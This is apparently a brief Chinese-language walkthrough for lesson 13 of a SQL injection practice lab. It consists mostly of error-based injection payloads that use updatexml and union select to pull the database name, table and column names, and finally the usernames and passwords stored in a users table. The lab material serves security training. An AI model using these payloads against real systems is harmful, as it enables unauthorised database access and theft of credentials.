Less13

不回显数据库的结果了，回显报错的

可以试试xml报错也可以其他的报错函数注入

字段要一致否则报错The used SELECT statements have a different number of columns

a') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

a') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1) #

a') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'users' and table_schema=database()),0x7e),1) #

a') union select 1,updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users),0x7e),1) #

a') union select 1,updatexml(1,concat(0x7e,substring((select group_concat(id,0x7e,username,0x7e,password) from users),30),0x7e),1) #